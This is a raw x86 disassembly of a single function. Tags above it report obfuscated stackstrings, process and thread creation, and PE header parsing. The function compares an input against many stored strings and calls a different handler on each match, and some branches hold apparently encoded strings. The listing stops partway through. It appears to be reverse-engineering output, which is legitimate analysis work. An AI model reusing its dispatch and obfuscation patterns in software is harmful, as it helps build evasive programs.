Function at 0x526b20
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Create thread
Parse pe header

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57f795
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
sub esp, 0x288
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov esi, ecx
sub esp, 0x18
mov dword [ebp - 0x38], esi
mov ecx, esp
mov dword [ebp - 0x50], 0
push 0x5c4778
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
mov edi, dword [ebx + 8]
add esp, 0x18
mov edx, eax
test edi, edi
je 0x526bc0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x526b90
sub ecx, dword [ebp - 0x20]
je 0x526bc0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x526bc0
cmp dword [edx + 0x14], 0x10
jb 0x526bab
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055e640
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x526bc7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x526bfb
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x526bf1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a689
push ecx
push edx
call fcn.0054dc64
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x526c13
mov eax, dword [esi + 0xc]
mov dword [eax + 0x118], 1
jmp 0x52a671
sub esp, 0x18
mov ecx, esp
push 0x5c4808
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
mov edx, eax
test edi, edi
je 0x526c70
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x526c40
sub ecx, dword [ebp - 0x20]
je 0x526c70
mov eax, dword [edx + 0x10]
test eax, eax
je 0x526c70
cmp dword [edx + 0x14], 0x10
jb 0x526c5b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055e640
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x526c77
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x526cab
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x526ca1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a68e
push ecx
push edx
call fcn.0054dc64
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x527307
sub esp, 0x18
mov ecx, esp
push 0x5c47f0
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
mov edx, eax
test edi, edi
je 0x526d10
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x526ce0
sub ecx, dword [ebp - 0x20]
je 0x526d10
mov eax, dword [edx + 0x10]
test eax, eax
je 0x526d10
cmp dword [edx + 0x14], 0x10
jb 0x526cfb
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055e640
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x526d17
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x526d4b
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x526d41
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a693
push ecx
push edx
call fcn.0054dc64
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x526dff
push 0x45
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.N1NLYVkxx5KiZHPcWtsCFyhppJV88pPAlAROiUyAWCRpsbBUgKLiJDLOiUxoRHE2PKw
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042d740
push 2
push ecx
mov dword [ebp - 4], 0
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042eb20
mov ecx, esi
call fcn.004451c0
add esp, 0x18
mov ecx, edi
call fcn.004625b0
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x52a671
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x526df0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a6c5
push ecx
push edx
call fcn.0054dc64
add esp, 8
jmp 0x52a671
sub esp, 0x18
mov ecx, esp
push 0x5c4820
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
mov edx, eax
test edi, edi
je 0x526e57
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x526e27
sub ecx, dword [ebp - 0x20]
je 0x526e57
mov eax, dword [edx + 0x10]
test eax, eax
je 0x526e57
cmp dword [edx + 0x14], 0x10
jb 0x526e42
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055e640
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x526e5e
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x526e92
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x526e88
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a698
push ecx
push edx
call fcn.0054dc64
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x526f46
push 0x3b
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.RHVJNWj9X5KCo0xV2lg9ZA5rlKSwapPgUzGHCcUKwJrIYGYYjKDMqGVzQn
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042d740
push 1
push ecx
mov dword [ebp - 4], 1
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042eb20
mov ecx, esi
call fcn.004451c0
add esp, 0x18
mov ecx, edi
call fcn.004625b0
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x52a671
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x526f37
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a6c5
push ecx
push edx
call fcn.0054dc64
add esp, 8
jmp 0x52a671
sub esp, 0x18
mov ecx, esp
push 0x5c4838
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
mov edx, eax
test edi, edi
je 0x526fa0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x526f70
sub ecx, dword [ebp - 0x20]
je 0x526fa0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x526fa0
cmp dword [edx + 0x14], 0x10
jb 0x526f8b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055e640
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x526fa7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x526fdb
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x526fd1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a69d
push ecx
push edx
call fcn.0054dc64
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x526ff0
mov ecx, dword [esi + 0xc]
push 0
call fcn.0041dfa0
jmp 0x52a671
sub esp, 0x18
mov ecx, esp
push 0x5c4970
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
mov edx, eax
test edi, edi
je 0x527048
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x527018
sub ecx, dword [ebp - 0x20]
je 0x527048
mov eax, dword [edx + 0x10]
test eax, eax
je 0x527048
cmp dword [edx + 0x14], 0x10
jb 0x527033
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055e640
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52704f
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x527083
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x527079
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a6a2
push ecx
push edx
call fcn.0054dc64
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x527639
sub esp, 0x18
mov ecx, esp
push 0x5c4988
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
mov edx, eax
test edi, edi
je 0x5270e5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5270b5
sub ecx, dword [ebp - 0x20]
je 0x5270e5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5270e5
cmp dword [edx + 0x14], 0x10
jb 0x5270d0
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055e640
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5270ec
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x527120
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x527116
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a6a7
push ecx
push edx
call fcn.0054dc64
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x5276e1
sub esp, 0x18
mov ecx, esp
push 0x5c4a60
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
mov edx, eax
test edi, edi
je 0x527182
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x527152
sub ecx, dword [ebp - 0x20]
je 0x527182
mov eax, dword [edx + 0x10]
test eax, eax
je 0x527182
cmp dword [edx + 0x14], 0x10
jb 0x52716d
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055e640
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x527189
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x5271bd
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5271b3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a6ac
push ecx
push edx
call fcn.0054dc64
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x527787
sub esp, 0x18
mov ecx, esp
push 0x5c4790
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
mov edx, eax
test edi, edi
je 0x527220
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5271f0
sub ecx, dword [ebp - 0x20]
je 0x527220
mov eax, dword [edx + 0x10]
test eax, eax
je 0x527220
cmp dword [edx + 0x14], 0x10
jb 0x52720b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055e640
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x527227
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52725b
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x527251
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a6b1
push ecx
push edx
call fcn.0054dc64
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x52726e
mov ecx, dword [esi + 0xc]
call fcn.0041e980
jmp 0x52a671
sub esp, 0x18
mov ecx, esp
push 0x5c4808
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
mov edx, eax
test edi, edi
je 0x5272c6
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x527296
sub ecx, dword [ebp - 0x20]
je 0x5272c6
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5272c6
cmp dword [edx + 0x14], 0x10
jb 0x5272b1
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055e640
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5272cd
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x527301
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5272f7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a6b6
push ecx
push edx
call fcn.0054dc64
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x527316
mov ecx, dword [esi + 0xc]
push 1
call fcn.0041dfa0
jmp 0x52a671
sub esp, 0x18
mov ecx, esp
push 0x5c47f0
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
mov edx, eax
test edi, edi
je 0x527370
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x527340
sub ecx, dword [ebp - 0x20]
je 0x527370
mov eax, dword [edx + 0x10]
test eax, eax
je 0x527370
cmp dword [edx + 0x14], 0x10
jb 0x52735b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055e640
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x527377
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x5273ab
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5273a1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a6bb
push ecx
push edx
call fcn.0054dc64
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x52745f
push 0x45
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.TUZGeSzZknJzs91ZGZxXbT1keOCUphMRQ6xLygvxIjFk5cW81pIz85rLygsEPmQ7gNg
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042d740
push 2
push ecx
mov dword [ebp - 4], 2
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042eb20
mov ecx, esi
call fcn.004451c0
add esp, 0x18
mov ecx, edi
call fcn.004625b0
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x52a671
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x527450
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a6c5
push ecx
push edx
call fcn.0054dc64
add esp, 8
jmp 0x52a671
sub esp, 0x18
mov ecx, esp
push 0x5c4820
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
mov edx, eax
test edi, edi
je 0x5274b7
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x527487
sub ecx, dword [ebp - 0x20]
je 0x5274b7
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5274b7
cmp dword [edx + 0x14], 0x10
jb 0x5274a2
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055e640
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5274be
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x5274f2
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5274e8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a6c0
push ecx
push edx
call fcn.0054dc64
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x5275a0
push 0x3b
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.WERqJRCNmaCzQoKZkpmeD9I3NzAr0HRsvwLQQgiNzNIVfnop2Cy02MZhc5
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042d740
push 1
push ecx
mov dword [ebp - 4], 3
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042eb20
mov ecx, esi
call fcn.004451c0
add esp, 0x18
mov ecx, edi
call fcn.004625b0
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x52a671
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x527450
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a6c5
jmp 0x527450
sub esp, 0x18
mov ecx, esp
push 0x5c4970
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
mov edx, eax
test edi, edi
je 0x5275f8
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5275c8
sub ecx, dword [ebp - 0x20]
je 0x5275f8
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5275f8
cmp dword [edx + 0x14], 0x10
jb 0x5275e3
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055e640
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5275ff
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x527633
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x527629
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a6ca
push ecx
push edx
call fcn.0054dc64
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x527646
mov ecx, dword [esi + 0xc]
call fcn.00405e40
jmp 0x52a671
sub esp, 0x18
mov ecx, esp
push 0x5c4988
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
mov edx, eax
test edi, edi
je 0x5276a0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x527670
sub ecx, dword [ebp - 0x20]
je 0x5276a0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5276a0
cmp dword [edx + 0x14], 0x10
jb 0x52768b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055e640
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5276a7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x5276db
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5276d1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a6cf
push ecx
push edx
call fcn.0054dc64
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x5276ee
mov ecx, dword [esi + 0xc]
call fcn.00406120
jmp 0x52a671
sub esp, 0x18
mov ecx, esp
push 0x5c4a60
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
mov edx, eax
test edi, edi
je 0x527746
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x527716
sub ecx, dword [ebp - 0x20]
je 0x527746
mov eax, dword [edx + 0x10]
test eax, eax
je 0x527746
cmp dword [edx + 0x14], 0x10
jb 0x527731
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055e640
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52774d
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x527781
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x527777
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a6d4
push ecx
push edx
call fcn.0054dc64
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x527794
mov ecx, dword [esi + 0xc]
call fcn.0041edf0
jmp 0x52a671
sub esp, 0x18
mov ecx, esp
push 0x5c4850
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
mov edx, eax
test edi, edi
je 0x5277f0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5277c0
sub ecx, dword [ebp - 0x20]
je 0x5277f0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5277f0
cmp dword [edx + 0x14], 0x10
jb 0x5277db
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055e640
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5277f7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52782b
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x527821
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a6d9
push ecx
push edx
call fcn.0054dc64
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x527840
mov ecx, dword [esi + 0xc]
push 1
call fcn.00408a80
jmp 0x52a671
sub esp, 0x18
mov ecx, esp
push 0x5c4868
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
mov edx, eax
test edi, edi
je 0x527898
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x527868
sub ecx, dword [ebp - 0x20]
je 0x527898
mov eax, dword [edx + 0x10]
test eax, eax
je 0x527898
cmp dword [edx + 0x14], 0x10
jb 0x527883
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055e640
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52789f
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x5278d3
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5278c9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a6de
push ecx
push edx
call fcn.0054dc64
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x5278e8
mov ecx, dword [esi + 0xc]
push 0
call fcn.00408a80
jmp 0x52a671
sub esp, 0x18
mov ecx, esp
push 0x5c4880
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
mov edx, eax
test edi, edi
je 0x527942
mov ecx, edi
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x527910
sub ecx, esi
je 0x527942
mov esi, dword [edx + 0x10]
test esi, esi
je 0x527942
cmp dword [edx + 0x14], 0x10
mov dword [ebp - 0x4c], esi
jb 0x52792d
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055e640
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52794c
mov esi, dword [ebp - 0x4c]
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x527980
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x527976
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a6e3
push ecx
push edx
call fcn.0054dc64
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x527a78
xorps xmm0, xmm0
mov dword [ebp - 0x138], 0
movups xmmword [ebp - 0x148], xmm0
mov dword [ebp - 0x134], 0xf
mov byte [ebp - 0x148], 0
mov ecx, edi
mov dword [ebp - 4], 4
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5279c0
sub ecx, edx
lea eax, [ebp - 0x148]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.0052ab80
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x20], eax
call fcn.00552c2d
cmp dword [ebp - 0x134], 0x10
lea esi, [ebp - 0x148]
mov edi, eax
lea eax, [ebp - 0x50]
cmovae esi, dword [ebp - 0x148]
push 0xa
push eax
push esi
mov dword [edi], 0
call fcn.005545ce
add esp, 0x14
cmp esi, dword [ebp - 0x50]
je 0x52a6e8
cmp dword [edi], 0x22
je 0x52a6f2
mov ecx, dword [ebp - 0x20]
test eax, eax
setne al
movzx eax, al
push eax
call fcn.00408d60
mov ecx, dword [ebp - 0x134]
cmp ecx, 0x10
jb 0x52a671
mov edx, dword [ebp - 0x148]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x527450
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a6fc
jmp 0x527450
sub esp, 0x18
mov ecx, esp
push 0x5c4730
call fcn.0042d300
lea ecx, [ebp - 0x68]
call fcn.00444e70
add esp, 0x18
mov edx, eax
test edi, edi
je 0x527ad5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x527aa0
sub ecx, dword [ebp - 0x20]
je 0x527ad5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x527ad5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x527ac0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055e640
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x527adc
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x527b10
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x527b06
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a701
push ecx
push edx
call fcn.0054dc64
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x527c21
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 5
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x527b50
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.0052ab80
add esp, 8
lea ecx, [ebp - 0x1a0]
call fcn.00434c00
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov eax, dword [ebp - 0xa4]
cmovae ecx, dword [ebp - 0xb4]
